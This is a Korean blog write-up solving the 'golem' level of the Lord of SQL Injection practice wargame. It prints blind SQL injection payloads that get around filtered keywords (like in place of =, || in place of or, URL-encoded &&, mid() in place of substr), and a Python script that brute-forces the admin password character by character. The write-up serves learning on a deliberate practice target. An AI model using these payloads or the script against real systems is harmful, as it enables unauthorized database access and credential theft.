비밀번호를 맞춰야하고, 여러가지 특수기호가 막혀있다. or, and, substr(, =
substr함수가 막혀있는 걸 보면 blind SQL 인젝션인 것 같다.
=은 like로 우회가 가능하다고 한다.
pw=2' || id like 'admin'%23
blind SQL인젝션이 맞다. 이제 막혀있는 것들을 잘 우회해서 풀어보자.
비밀번호 길이
pw=2' || id like 'admin'%26%26length(pw) like 8%23
&&은 %26%26로 우회해줬다.
8글자다. 이제 자동화 프로그램을 돌려서 비밀번호를 알아내자.
import requests
headers = {'Cookie' : 'PHPSESSID=쿠키;'}
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
for i in range(1, 9):
for ch in range(48, 123):
if 58 <= ch <= 64: continue
if 91 <= ch <= 96: continue
data = "?pw=2' || id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(ch)+"%23"
r = requests.get(url + data, headers = headers)
if 'Hello admin' in r.text:
print(i, ':', chr(ch))
break
비밀번호 : 77d6290b
클리어!
'Web Hacking > LoS' 카테고리의 다른 글
[Lord of SQL Injection] los bugbear (0) | 2021.08.01 |
---|---|
[Lord of SQL Injection] los darkknight (0) | 2021.07.18 |
[Lord of SQL Injection] los skeleton (0) | 2021.06.28 |
[Lord of SQL Injection] los vampire (0) | 2021.06.28 |
[Lord of SQL Injection] los troll (0) | 2021.06.27 |